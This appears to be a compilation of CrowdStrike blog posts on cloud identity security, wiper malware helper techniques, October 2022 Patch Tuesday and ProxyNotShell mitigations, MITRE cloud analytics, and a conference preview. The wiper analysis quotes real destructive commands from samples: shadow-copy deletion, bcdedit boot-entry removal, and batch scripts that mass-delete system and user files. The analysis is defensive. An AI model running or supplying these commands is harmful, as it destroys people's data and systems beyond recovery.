Here lie the challenges for security teams: Cloud-native apps are difficult to secure without a complex set of overlapping tools spanning the development lifecycle, and fragmented cloud security approaches and tools increase complexity, costs and the likelihood of misconfigurations that can lead to breaches. DevSecOps teams often struggle to coordinate the use of these disparate security tools, resulting in blind spots and a limited view of cyber risk.

Identities Are the New Security Perimeter

As the state of cloud infrastructure and use of different architectures constantly evolve, figuring out what or who is in your environment while establishing a baseline for what normal looks like can seem an impossible task. Identity and access management (IAM) for cloud infrastructure is intended to control how cloud identities take action on specific resources, but defining roles and permissions using the principles of least privilege is challenging in hybrid environments. 

Key challenges include:

  • The overwhelming number of machine identities, which outnumber human identities, leading to thousands of identities and resources to manage.
  • Limited visibility and inconsistent entitlements across complex hybrid and multi-cloud environments make enforcing least-privileged access difficult.
  • Unique IAM policy models and taxonomy across public cloud service providers (CSPs).

Traditional approaches to preventing identity-based threats fail to address the cloud’s unique security challenges due to its ephemeral nature. To practice Zero Trust and the principle of least privilege in the cloud, compliance and security teams need cloud infrastructure entitlement management (CIEM) capabilities to help continuously enforce policies and monitor and maintain your identity security posture across cloud accounts and resources.

The CrowdStrike Falcon® platform sets the new standard in cloud security and identity protection. Watch this demo to see the Falcon platform in action.

CrowdStrike Introduces CIEM for AWS and Azure to Address New Requirements for Securing Identities Across Hybrid Environments

CrowdStrike Falcon® Horizon™, CrowdStrike’s market-leading cloud security posture management (CSPM) solution, now provides integrated CIEM capabilities that deliver a single-source-of-truth for monitoring, discovering and securing identities across multi-cloud environments in a single platform. Security and identity teams can prevent identity-based threats resulting from improperly configured cloud entitlements across AWS and Azure. Uniquely, as part of CrowdStrike’s broader CNAPP offering, we deliver comprehensive cloud security, combining agent-based and agentless protection in a single, unified platform experience.

With Falcon Horizon you gain access to the full inventory of permissions, detect overly permissive accounts, continuously monitor activity and ensure least privilege enforcement.

(Click to enlarge)

What’s New

Falcon Horizon now enables you to:

Unify visibility and least-privilege enforcement in public and multi-cloud environments 

  • Access a single source of truth: Get up and running in minutes and access a single dashboard for all cloud assets, identities and security configurations.
  • Simplify privileged access management and policy enforcement: Manage and enforce identities and permissions across AWS and Azure.
  • Identify and investigate cloud entitlements: Detect risky permissions, and remove unwanted access to cloud resources including identity misconfigurations and cloud entitlements to achieve least-privilege. 

Continuously detect and remediate identity-based threats in public and multi-cloud environments 

  • Prevent identity-based threats at scale: Secure cloud identities and permissions, detect account compromises, prevent identity misconfigurations, stolen access keys, insider threats and malicious activity. 
  • Secure Azure Active Directory: Ensure Azure AD groups, users and apps have the correct permissions using new Identity Analyzer reports.
  • One-click remediation testing: Simulate remediation tactics to understand outcomes and ensure confidence by performing a dry run prior to deployment.

Stop the most sophisticated attacks across hybrid environments

  • Predict and prevent modern threats: Ensure real-time cloud workload protection via CrowdStrike Threat Graph®, which provides full visibility of attacks and automatically prevents threats in real time for any hybrid environment across CrowdStrike’s global customer base.
  • Access enriched threat intelligence to supercharge investigations: Get deeper context for faster investigation and more effective response for cloud-based attacks with a visual representation of relationships across account roles, workloads and APIs. 
  • Accelerate response: Arm your responders in real time via the Falcon platform, empowering incident responders to focus on what matters most, understand threats and act decisively to stop cloud breaches.

Get rich cloud asset visualization powered by CrowdStrike Asset Graph

  • See and secure cloud identities and entitlements: Gain complete visibility into cloud resources, and understand the relationships between access and permissions automatically. 
  • Optimize cloud implementations: Perform real-time point queries for rapid response, as well as broader analytical queries for asset management and security posture optimization. 
  • Mitigate risks across the attack surface: Get 360-degree visibility into your organization’s assets and their interdependencies across hosts, configurations, identities and applications.

See for yourself how the industry-leading CrowdStrike Falcon® platform protects your cloud environments. Start your 15-day free trial today.

Additional Resources


  • Gartner, Managing Privileged Access in Cloud Infrastructure, Paul Mezzera, Refreshed December 7, 2021, Published June 9, 2020. (GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.)

The Anatomy of Wiper Malware, Part 4: Less Common “Helper” Techniques

14 October 2022 at 13:31

This is the fourth blog post in a four-part series. Read Part 1 | Part 2 | Part 3.

In Part 3, CrowdStrike’s Endpoint Protection Content Research Team covered the finer points of Input/Output Control (IOCTL) usage by various wipers. The fourth and final part of the wiper series covers some of the rarely used “helper” techniques implemented by wipers, which achieve secondary goals or facilitate a smaller portion of the wiping process.

Delete Volume Shadow Copies 

During ransomware attacks, many ransomware families will attempt to delete the shadow copies of the Windows OS. Out of all of the analyzed wiper families, only Meteor (with its Stardust/Comet variants) deletes shadow copies by either using Windows Management Instrumentation command-line utility wmic.exe or by calling the native Volume Shadow Copy Service Admin tool vssadmin.exe.

C:\Windows\Sysnative\wbem\wmic.exe shadowcopy delete

C:\Windows\Sysnative\vssadmin.exe delete shadows /all /quiet

In the case of families that use a third-party driver to wipe the sectors, it does not make sense to delete the VSS because their corresponding sectors will be wiped by the driver, rendering volume shadow copies unusable. 

An interesting approach seen in DriveSlayer is that it only disables the VSS service and doesn’t attempt to delete the snapshots. In order to stop the service, the wiper will open a handle to the Service Control Manager via OpenSCManager, grab a handle to the VSS service via OpenService, and make use of ChangeServiceConfig to disable the service and ControlService to stop it.

Figure 1. DriveSlayer disabling VSS service

Fill Empty Space

The IsaacWiper wiper creates a thread that tries to fill the unallocated space of the disk with random data in order to make recovery even more unlikely.

Figure 2. IsaacWiper pseudocode responsible for filling the empty space of the volume

This technique is implemented by first obtaining the amount of space available for a volume, using GetDiskFreeSpaceExW, and then creating a temporary file that grows in size until the disk is filled. The temporary file is filled with random data, written in blocks of size 0x1000.

Boot Configuration

Similar to a ransomware attack, Meteor wiper (with its Stardust/Comet variants) makes the operating system unbootable by changing the boot configuration of the infected machine. This can be done by either corrupting the system’s boot.ini file, or by using a series of bcdedit commands. The first one is used to identify configurations, while the latter is used to delete a specific entry.

C:\Windows\Sysnative\bcdedit.exe -v

C:\Windows\Sysnative\bcdedit.exe /delete {GUIDIDENTIFIER}  /f

Figure 3. Example of the how boot menu entries can be deleted using bcdedit

Active Directory Interaction

To keep the network online, the CaddyWiper and DoubleZero wiper families ensure that they do not run on a domain controller. In the code snippet below, CaddyWiper uses the DsRoleGetPrimaryDomainInformation API to determine if the victim machine is not a primary domain controller.

Figure 4. Determine if the machine is a domain controller via the DsRoleGetPrimaryDomainInformation API

However, Meteor wiper (and its Stardust/Comet variants) implements a different mechanism when interacting with the domain controller. This wiper unjoins the workstation from the domain using either a call to NetUnjoinDomain or using the following wmic command:

C:\Windows\System32\cmd.exe /c wmic computersystem where name="%computername%" call unjoindomainorworkgroup


Some malware authors choose not to implement an actual wiper module and instead use the default OS functionalities, accessible via a BAT file. For example, Apostle is dropping and executing the following script:

@echo off
del %systemdrive%\*.*/f/s/q
%windir%\system32\rundll32.exe advapi32.dll,ProcessIdleTasks
del %0

This script tries to recursively delete the files in system drive, then instructs Windows to process idle tasks, and finally issuing a self-delete command.

The Olympic wiper is one of the simplest samples we analyzed. It only used batch commands to achieve its goals. It deletes several extensions from the user directories, with each extension being deleted by its own “cmd.exe” process.

C:\Windows\system32\cmd.exe /c del /S /Q *.doc c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.docm c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.docx c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.dot c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.dotm c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.dotx c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.pdf c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.csv c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.xls c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.xlsx c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.xlsm c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.ppt c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.pptx c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.pptm c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.jtdc c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.jttc c:\users\%username%\ > nul
C:\Windows\system32\cmd.exe /c del /S /Q *.jtd c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.jtt c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.txt c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.exe c:\users\%username%\ >  nul
C:\Windows\system32\cmd.exe /c del /S /Q *.log c:\users\%username%\ >  nul


After wiping the disk and files, some wipers will forcly reboot or shutdown the machine. Families like Apostle, DoubleZero, Destover, KillDisk and StoneDrill use the ExitWindowsEx API to reboot the system. The arguments of the API vary across wipers, but in the end the reboot/shutdown will cause the OS to not load.

Figure 5. Acquire shutdown privilege and shut down the machine seen in KillDisk

The Petya wiper variant implements a different approach, calling NtRaiseHardError instead of ExitWindowsEx.

Figure 6. Forcing operating system reboot by calling NtRaiseHardError with the 0xC0000350 error status

DriveSlayer is attempting to reboot the machine after a period of time. The wiper has a predefined value set for the Sleep call, but that can be changed by using command line arguments of the process. The reboot is achieved by calling InitiateSystemShutdownEx API with the following reasons/arguments: SHTDN_REASON_FLAG_PLANNED, SHTDN_REASON_MAJOR_OPERATINGSYSTEM, SHTDN_REASON_MINOR_INSTALLATION and SHTDN_REASON_MINOR_HOTFIX.

Figure 7. Another API used to reboot/shutdown the infected machine

Disable Crash Dumps

DriveSlayer is the only wiper that disables crash dumps from being generated by the operating system. These may provide additional information to a potential researcher in case the machine crashes due to a bug in the driver or malware.

To disable this feature, the wiper changes the following registry key value to 0x0 via the RegOpenKey and RegSetValue APIs:


Wiper, Ransomware or Both

Some malware authors decide to use the same source code to transition their malware from ransomware to wiper or vice versa. Another approach seen in the analyzed samples is to generate different variants of the malware, by improving the wiper, and/or fixing errors in the execution flow. There are a few approaches seen in the analyzed samples:

  • Apostle evolved from a wiper to ransomware, fixing bugs in the code and adding extra functionalities like changing background, dropping ransom notes, etc.
  • Petya generated a wiper variant from the known ransomware.
  • Meteor and KillDisk implement variations of the same code, but don’t change the scope of the malware.
  • Ordinypt masquerades as ransomware, deleting the files, replacing them with dummy ones and dropping a ransom note on the disk. However, the wiper has a logical bug that writes and then deletes its own ransom notes several times (as shown in Figure 8).

Figure 8. Screenshot demonstrating how Ordinypt wiper accidentally deletes its own ransom notes

Registry Wiping and Deletion

DoubleZero was the only analyzed sample that implemented a mechanism in which each registry value is set to 0x00 or empty string, followed by a deletion of the subkey tree via Windows APIs.

Figure 9. DoubleZero overwrites the registry keys


Over the last 10 years, the security industry has seen the use of wipers grow in popularity, notably for sabotage attacks (as illustrated by their use to target Ukraine in the spring of 2022). Although wipers share many features with ransomware, they differ in their ultimate objective. Rather than pursuit of financial gain, the objective of wipers is to destroy data beyond recoverability.

There are multiple ways wipers can achieve their goal, land wiper developers need to make a trade-off between speed and effectiveness when deleting data — the faster techniques may allow for data to be recovered, while the slower ones may allow the victim to intervene and stop the deletion process. Cybersecurity professionals can use different countermeasures and tools in order to recover the lost data. This has motivated wiper developers to increase effectiveness by overwriting files as well as raw disk sectors, in order to decrease recoverability options as much as possible. 

Over the years, wipers have not increased in complexity — instead, some only delete the user files and volume shadow copies, with the more advanced ones using legitimate kernel driver implants on the victim’s machine in order to proxy the entire wiping activity through them and to remain as undetectable as possible. Often, the final nail in the coffin is achieved by force rebooting the machine, combined with other techniques that completely eliminate any recovery options.

We have summarized the complex combinations of techniques observed across wiper families in the following table.

File Discovery All samples
File Overwrite / File System API CaddyWiper, DoubleZero, IsaacWiper, KillDisk, Meteor, Petya wiper, Shamoon, SQLShred, StoneDrill, and WhisperGate, Destover
File Overwrite / File IOCTL DoubleZero
File Overwrite / File Deletion Ordinypt, Olympic wiper and Apostle, Destover, KillDisk, Meteor, Shamoon, SQLShred, and StoneDrill
Drive Destruction / Disk Write IsaacWiper, KillDisk, Petya wiper variant, SQLShred, StoneDrill, WhisperGate, and DriveSlayer
Drive Destruction / Disk Drive IOCTL CaddyWiper
File contents / Overwrite with Same Byte Value CaddyWiper, DoubleZero, KillDisk, Meteor, and SQLShred
File contents / Overwrite with Random Bytes Destover, IsaacWiper, KillDisk, SQLShred and StoneDrill
File contents / Overwrite with Predefined Data Shamoon, IsraBye
Third Party Drivers / ElRawDisk Driver Destover, ZeroCleare, Dustman and Shamoon
Third Party Drivers / EPMNTDRV Driver DriveSlayer
IOCTL / Acquiring Information IsaacWiper, Petya wiper variant, Dustman or ZeroCleare
IOCTL / Volume Unmounting DriveSlayer, Petya, StoneDrill
IOCTL / Destroying All Disk Contents SQLShred
IOCTL / Overwriting Disk Clusters DriveSlayer
IOCTL / Data Fragmentation DriveSlayer
IOCTL / File Type Determination SQLShred
IOCTL / File Iteration DriveSlayer
Misc / Volume Shadow Copies Deletion Meteor
Misc / Fill Empty Space IsaacWiper
Misc / Boot Configuration Meteor
Misc / Active Directory Interaction CaddyWiper, DoubleZero, Meteor
Misc / Scripts Apostle, Olympic wiper
Misc / Reboot Apostle, DoubleZero, Destover, KillDisk, StoneDrill, Petya wiper, DriveSlayer
Misc / Disable Crash Dumps DriveSlayer
Misc / Wiper, Ransomware or Both Apostle, Petya, Meteor and KillDisk, Ordinypt
Misc / Registry Wiping and Deletion DoubleZero

How the Falcon Platform Offers Continuous Monitoring and Visibility

The CrowdStrike Falcon®® platform takes a layered approach to protecting workloads. Using on-sensor and cloud-based machine learning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques and procedures (TTPs) employed by threat actors, the Falcon platform equips users with visibility, threat detection, automated protection and continuous monitoring for any environment, reducing the time to detect and mitigate threats.

The CrowdStrike Falcon® platform sets the new standard in cybersecurity. Watch this demo to see the Falcon platform in action.

Figure 10. Falcon UI screenshot showcasing detection of KillDisk by the Falcon sensor

Figure 11. Falcon UI screenshot showcasing detection of Olympic Wiper by the Falcon sensor

See for yourself how the industry-leading CrowdStrike Falcon® platform protects against modern threats like wipers and ransomware. Start your 15-day free trial today.


Wiper Name SHA256 Hash Value
Apostle 6fb07a9855edc862e59145aed973de9d459a6f45f17a8e779b95d4c55502dcce
CaddyWiper a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea
Destover e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a
DoubleZero 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe
DriveSlayer 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da
Dustman f07b0c79a8c88a5760847226af277cf34ab5508394a58820db4db5a8d0340fc7
IsaacWiper 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033
IsraBye 5a209e40e0659b40d3d20899c00757fa33dc00ddcac38a3c8df004ab9051de0d
KillDisk 8a81a1d0fae933862b51f63064069aa5af3854763f5edc29c997964de5e284e5
Meteor and Comet/Stardust 2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b
Ordinypt ​​085256b114079911b64f5826165f85a28a2a4ddc2ce0d935fa8545651ce5ab09
Petya 0f732bc1ed57a052fecd19ad98428eb8cc42e6a53af86d465b004994342a2366
Shamoon e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a
SQLShred/Agrius 18c92f23b646eb85d67a890296000212091f930b1fe9e92033f123be3581a90f
StoneDrill 62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260
Tokyo Olympic wiper fb80dab592c5b2a1dcaaf69981c6d4ee7dbf6c1f25247e2ab648d4d0dc115a97
WhisperGate a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
ZeroCleare becb74a8a71a324c78625aa589e77631633d0f15af1473dfe34eca06e7ec6b86

Additional Resources

October 2022 Patch Tuesday: 13 Critical CVEs, One Actively Exploited Bug, ProxyNotShell Still Unpatched

13 October 2022 at 20:48

Microsoft has released 84 security patches for its October 2022 Patch Tuesday rollout. Of these, 13 vulnerabilities are rated Critical, while the remaining 71 are rated Important. It should be noted that this month’s patching update does not include patches for ProxyNotShell, despite the active exploitation of two related vulnerabilities; CrowdStrike offers recommendations on mitigation until patches are provided. 

Mitigations for ProxyNotShell Vulnerabilities 

Two recently uncovered vulnerabilities — CVE-2022-41040 and CVE-2022-41082 — can be chained together to perform remote code execution (RCE) through PowerShell. By exploiting these vulnerabilities, an attacker could gain privileged access and remotely install the China Chopper webshell. This type of attack targets the Microsoft Exchange Mailbox server, and an attacker could use it to gain access and move laterally into Exchange or Active Directory.

Microsoft’s initial mitigation recommendations were insufficient, as threat researchers showed they can be easily bypassed to allow new attacks exploiting the two bugs. The CrowdStrike Falcon® platform helps protect organizations of all sizes from sophisticated breaches that exploit vulnerabilities by using a defense-in-depth approach to deliver detections and mitigations in real-time. While no patches are yet available, CrowdStrike recommends the following mitigations for these vulnerabilities:

  • For CVE-2022-41040, complete the URL Rewrite Rule mitigation. Exchange administrators need to create a rule that blocks URLs that match the following pattern: .*autodiscover\.json.*Powershell.*. This will prevent known variants of the ProxyNotShell attacks. It is also advised that Condition Input should be changed from {URL} to {UrlDecode:{REQUEST_URI}} to ensure all encoded variations are evaluated before being blocked.
      • CrowdStrike customers with Exchange Emergency Mitigation Service (EEMS) enabled benefit automatically from the updated URL Rewrite mitigation for Exchange Server 2016 and Exchange Server 2019. A complete guide on mitigations for reported zero-day vulnerabilities in Microsoft Exchange Server is available from Microsoft.
  • For CVE-2022-41082, disable remote PowerShell for non-admins. CrowdStrike Falcon®® platform customers should disable remote PowerShell access for non-admin users in your organization (as a best practice, CrowdStrike recommends doing this anyway for non-admin users).

CrowdStrike Falcon® Intelligence™ customers can view a complete technical write-up, attribution and targeting information within the Falcon platform: CSA-221036.

October 2022 Risk Analysis

This month’s leading risk type is elevation of privilege (46%), followed by remote code execution at nearly 24% and information disclosure at 13%. The October 2022 Patch Tuesday release includes patches for 11 information-disclosure vulnerabilities, including one publicly known that affects MS Office products.

Figure 1. Breakdown of October 2022 Patch Tuesday attack types

The Microsoft Windows product family received the most patches this month with 67, followed by Extended Support Updates (44) and Microsoft Office products (9). Also covered in the update is CVE-2022-41033, an elevation of privilege zero-day vulnerability being used in active attacks that affects Windows COM+ Event System Service and is rated as Important with a CVSS of 7.8.

Figure 2. Breakdown of product families affected by October 2022 Patch Tuesday

CVE-2022-41033 is typically paired with other code execution exploits designed to take over a system. This type of attack often involves some form of social engineering, such as enticing a user to open an attachment or go to a malicious website. As shown in Figure 3, this CVE is ranked as Important. Another Important vulnerability affects Active Directory Domain Services and could allow an attacker to get domain administrator privileges, but Microsoft has not provided any details on how that would occur.

Rank CVSS Score CVE Description
Important 7.8 CVE-2022-41033 Windows COM+ Event System Service Elevation of Privilege Vulnerability
Important 7.1 CVE-2022-38042 Active Directory Domain Services Elevation of Privilege Vulnerability

Figure 3. Zero-day vulnerability and AD vulnerability patched in October 2022

CVE-2022-37976, a Critical Active Directory Certificate Services (ADCS) vulnerability, definitely stands out as a CVE to prioritize. If successfully exploited, it provides the attacker with domain administrative privileges. However, exploiting this vulnerability is not easy. A malicious DCOM client would need to trick a DCOM server to authenticate to it through ADCS and then use the credential to launch a cross-protocol attack.

Rank CVSS Score CVE Description
Critical 8.8 CVE-2022-37976 Active Directory Certificate Services Elevation of Privilege Vulnerability

Figure 4. Critical vulnerability patched in October 2022

Critical Vulnerabilities in Microsoft Office and Azure Arc

Azure Arc is getting a patch for Critical vulnerability CVE-2022-37968, with a perfect CVSS of 10. Azure Arc-enabled Kubernetes allows you to attach and configure Kubernetes clusters running anywhere. As per the Microsoft Security Response Center (MSRC), an attacker that knows the randomly generated external DNS endpoint for an Azure Arc-enabled Kubernetes cluster can exploit this vulnerability from the internet, affecting the cluster connect feature of Azure Arc-enabled Kubernetes clusters. Keep in mind that auto-upgrade is enabled by default for CrowdStrike customers using Azure Arc; however, if you manually control your updates, action is required to upgrade to the latest version. 

CVE-2022-38048, a Microsoft Office RCE vulnerability, is a Critical bug with a CVSS of 7.8. Most Office vulnerabilities are rated Important since they involve user interaction — typically opening a file. An exception is when the Preview Pane is an attack vector, but Microsoft states it isn’t the case here. The rating is likely the result of the lack of warning dialogs when opening a specially crafted file. Either way, this is a use-after-free (UAF) vulnerability that could lead to passing an arbitrary pointer to a free call, making further memory corruption possible.

Rank CVSS Score CVE Description
Critical 10 CVE-2022-37968 Azure Arc-enabled Kubernetes cluster Connect Elevation of Privilege Vulnerability
Critical 7.8 CVE-2022-38048 Microsoft Office Remote Code Execution Vulnerability

Figure 5. Critical vulnerabilities in Azure Arc and MS Office

Critical Vulnerabilities Affecting Microsoft Word and PPTP 

CVE-2022-41031, a Critical vulnerability affecting Microsoft Word, is getting a patch this month. In this particular case, the Preview Pane is not an attack vector. The remaining Critical vulnerabilities affect Windows Point-to-Point Tunneling Protocol. If you’re still using it, consider migrating to a more modern (and secure) solution. To exploit these vulnerabilities, an attacker would need to send a specially crafted malicious PPTP packet to a PPTP server. This could result in remote code execution on the server side.

Rank CVSS Score CVE Description
Critical 8.1 CVE-2022-30198 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-24504 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-33634 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-22035 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-38047 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-38000 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
Critical 8.1 CVE-2022-41081 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
Critical 7.8 CVE-2022-41031 Microsoft Word Remote Code Execution Vulnerability

Figure 6. Critical vulnerabilities in MS Word and PPTP

Not All Relevant Vulnerabilities Have Patches: Consider Mitigation Strategies

As we have learned with other notable vulnerabilities, such as Log4j, not every highly exploitable vulnerability can be easily patched. As is the case for the ProxyNotShell vulnerabilities, it’s critically important to develop a response plan for how to defend your environments when no patching protocol exists. 

Regular review of your patching strategy should still be a part of your program, but you should also look more holistically at your organization’s methods for cybersecurity and improve your overall security posture. 

The CrowdStrike Falcon® platform collects and analyzes trillions of endpoint events every day from millions of sensors deployed across 176 countries. Watch this demo to see the Falcon platform in action.

Learn More

This video on Falcon Spotlight™ vulnerability management shows how you can quickly monitor and prioritize vulnerabilities within the systems and applications in your organization. 

About CVSS Scores

The Common Vulnerability Scoring System (CVSS) is a free and open industry standard that CrowdStrike and many other cybersecurity organizations use to assess and communicate software vulnerabilities’ severity and characteristics. The CVSS Base Score ranges from 0.0 to 10.0, and the National Vulnerability Database (NVD) adds a severity rating for CVSS scores. Learn more about vulnerability scoring in this article

Additional Resources

CrowdStrike Partners with MITRE CTID to Identify Adversaries Using Cloud Analytics

13 October 2022 at 13:14
  • Fourteen key cloud analytics for Azure and GCP cloud environments were identified and mapped as indicative of adversary behavior and serve as a blueprint for understanding and writing new cloud analytics.
  • The CrowdStrike Falcon®® platform delivers a powerful combination of agentless capabilities to protect against misconfigurations and control plane attacks, along with agent-based runtime security to proactively secure cloud environments by harmonizing real-time cloud-native events and TTPs to comprehensively detect adversaries.

CrowdStrike is a Research Sponsor in the Cloud Analytics project — a new MITRE Center for Threat-Informed Defense initiative (CTID) to capture key adversarial tactics, techniques and procedures (TTPs) to improve detection of threat actor behavior in cloud environments. CrowdStrike’s work with the CTID lays the groundwork for advancing public cloud security. 

The goal of the project was to map analytics across disparate infrastructures and cloud services to reduce alert noise and quickly identify abnormal and evasive behaviors faster than going through each separate infrastructure. The project uncovered 14 key cloud analytics for Azure and GCP cloud environments mapped to the MITRE ATT&CK® Cloud Matrix and indicative of cloud-specific adversary behavior. 

The CrowdStrike Falcon® platform identifies and protects customers against all adversary tactics uncovered in the project. CrowdStrike delivers comprehensive cloud security by combining agent-based and agentless protection in a single, unified platform experience using machine learning and indicators of attack (IOAs) to observe, detect, remediate and prevent adversarial or anomalous activities.

The results of this research are presented in a blueprint document that maps some of the key cloud analytics and offers best practices and lessons learned. Protectors can use this document as a guide for identifying and mapping cloud analytics in their environments.

Figure 1. The 14 key cloud analytics for Azure and GCP cloud environments identified in the MITRE CTID Cloud Analytics project (source) (click to enlarge)

Detecting Adversaries in the Cloud Is Hard

Detecting adversaries using cloud analytics is hard — because it’s expensive to do it right. You must ingest and store large amounts of log data, you need the right people looking at the data, and you need tooling and time to make the cloud data reveal adversaries without false positives. 

At the same time, adversarial TTPs in the cloud have been evolving rapidly, revealing the critical need for defenders to have both real-time visibility into the cloud control plane and targeted activity analytics to observe, hunt and remediate cloud-based threats. 

The industry is trying to solve cloud security by managing configurations or applying a legacy antivirus mindset to it. Neither will succeed. Comprehensively securing cloud environments requires the powerful combination of agentless capabilities that protect against misconfigurations and control plane attacks, along with agent-based runtime security to protect your workloads.

The growing volume, velocity and variety of cloud logs, coupled with log file-based monitoring, makes it incredibly difficult for analysts to identify adversary behaviors in real time to stop breaches. Adversary breakout time — the time from when an adversary infiltrates a system to when they move laterally across the organization’s network — is now 1 hour and 24 minutes, according to the 2022 Falcon OverWatch Threat Hunting Report, leaving analysts with a short window of opportunity to identify and contain threats to their infrastructure — otherwise the organization could suffer a costly breach if the threat actor is able to move laterally and expand across the cloud estate.

Traditional approaches to cloud security, such as securing the access layer — for example, the cloud access security broker (CASB) — are not enough as adversaries employ a wide range of TTPs. What’s necessary to stop breaches is access to usable, accurate and actionable real-time analytics and cloud controls.

CrowdStrike Leads the Way in Cloud Workload Protection

The CrowdStrike Falcon® platform was born in the cloud with a mission to stop breaches. CrowdStrike understands how to secure cloud environments using cloud-native IOAs to solve the current challenges the industry is experiencing with cloud analytics.

The CrowdStrike Falcon® platform sets the new standard in cloud security. Watch this demo to see the Falcon platform in action.

The Falcon platform can offer behavioral detections by using the power of the CrowdStrike Security Cloud and cloud data analytics to harmonize runtime events and produce cloud analytics indicative of real-time adversary behavior. It correlates new and historical events and malicious indicators, such as suspicious login activity or privilege escalations, to detect adversarial behavioral patterns against end-to-end activity events from the cloud control planes in near real time. 

For example, CrowdStrike’s AWS IAM policy behavior detection monitoring will alert customers when an API call has been made to modify an IAM role policy to allow public access — essentially allowing a public AWS user to inherit the permissions granted by the IAM role. This behavior could be used by an adversary to expand and elevate their access via a user account they already control. 

CrowdStrike’s Automated Cryptocurrency Miner Attack alert monitors for and alerts customers when a rapid series of calls are observed to the EC2 service that often aligns with how adversaries set up miners. This may include EC2 enumeration, VPC creation and instance run commands all executed in quick succession.

The Falcon platform provides visibility into your entire cloud infrastructure, continuous monitoring for misconfigurations, and proactive threat detection — allowing organizations to stop breaches in their tracks with unified visibility, threat detection and continuous monitoring and compliance for multi-cloud environments.

CrowdStrike Falcon® Horizon™ cloud security posture management can look beyond configurations to alert organizations when suspicious activity is detected, such as the rapid sequence of calls that would be used by an attacker launching a scripted mining attack.

Falcon Horizon provides granular policy assessment and visibility to help organizations instantly identify potential exposures, resolve findings, detect and prevent identity-based threats across hybrid and multi-cloud environments and minimize overall risk. CrowdStrike’s expertise in securing cloud infrastructures from sophisticated adversaries demonstrates that we understand what the current industry challenges are and we have addressed them with a clear adversary-focused approach to detecting malicious behavior to stop breaches. 

With the CrowdStrike Falcon® platform, organizations can secure their entire cloud-native stack, on any cloud, across all workloads, containers and applications as it enables them to automate security and detect and stop suspicious activity and risky behavior, to stay ahead of threats and reduce the attack surface.

See for yourself how the industry-leading CrowdStrike Falcon® platform protects your cloud environments. Start your 15-day free trial today.

CrowdStrike is proud to partner with MITRE CTID to advance cybersecurity in the public interest, in particular to help organizations improve visibility and understanding of adversary tradecraft. Past initiatives such as the Top MITRE ATT&CK® Techniques project — which enabled defenders to prioritize and take actions against key TTPs — as well as the recent Cloud Analytics project underline our commitment to leading the way in advancing the state of security so defenders can better secure their infrastructures. 

Additional Resources

Coming Soon to Las Vegas: Fal.Con 2022 Event Highlights and Special Guests

14 September 2022 at 08:00

The countdown continues! As Fal.Con 2022 quickly approaches, we’re excited to share more information about the security industry visionaries and notable talks on the agenda for the sixth annual CrowdStrike conference for customers and cybersecurity professionals. 

IT and security practitioners must stay a step ahead of adversaries who are constantly evolving their tactics, techniques and procedures to breach organizations. Fal.Con is where they come together to attend cutting-edge keynotes and deep-dive talks, learn new skills in hands-on workshops, build connections with peers across the cybersecurity community, and understand the trends and solutions they need to know to strengthen their organization’s security posture. 

Fal.Con 2022 will take place Sept. 19-21 at the Aria Resort & Casino. If you haven’t yet snagged your spot, you can register for the event here.

Who’s Coming to Fal.Con 2022

On Tuesday, Sept. 20 and Wednesday, Sept. 21, CrowdStrike’s executive team will take the Fal.Con stage to deliver keynotes and discuss the future of security innovation strengthening protection across endpoints, cloud workloads, identities and data — all critical areas for securing the modern enterprise. Special guests will join to discuss topics including leadership, cybersecurity, and why security requires cooperation and partnership between the public and private sectors. 

Our esteemed guest speakers include: 

  • Kemba Walden: The first Principal Deputy National Cyber Director for the White House will join Shawn Henry, President of CrowdStrike Services and CrowdStrike CSO, to dive into a range of topics; namely, how the security industry can work with the government to protect organizations from evolving threats.
  • Kevin Mandia: Mandiant Director and CEO Kevin Mandia will join CrowdStrike co-founder and CEO George Kurtz for a fireside chat to discuss how they’re working together to solve today’s biggest security challenges. 
